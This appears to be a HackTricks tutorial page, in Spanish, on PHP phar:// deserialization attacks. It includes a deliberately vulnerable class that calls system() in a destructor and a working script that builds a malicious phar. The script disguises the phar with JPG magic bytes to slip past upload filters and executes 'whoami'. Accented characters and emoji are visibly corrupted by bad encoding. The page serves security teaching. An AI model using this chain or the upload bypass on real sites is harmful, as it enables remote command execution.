phar:// deserialization
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, por lo que, al ser analizados, estos metadatos son deserializados y puedes intentar abusar de una vulnerabilidad de deserializaci贸n dentro del c贸digo PHP.
Lo mejor de esta caracter铆stica es que esta deserializaci贸n ocurrir谩 incluso utilizando funciones de PHP que no eval煤an c贸digo PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().
As铆 que, imagina una situaci贸n en la que puedes hacer que un web PHP obtenga el tama帽o de un archivo arbitrario utilizando el protocolo phar://
, y dentro del c贸digo encuentras una clase similar a la siguiente:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
Puedes crear un archivo phar que, al ser cargado, abuse de esta clase para ejecutar comandos arbitrarios con algo como:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Tenga en cuenta c贸mo los bytes m谩gicos de JPG (\xff\xd8\xff
) se agregan al principio del archivo phar para eludir posibles restricciones de carga de archivos.
Compile el archivo test.phar
con:
php --define phar.readonly=0 create_phar.php
Y ejecuta el comando whoami
abusando del c贸digo vulnerable con:
php vuln.php
Referencias
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.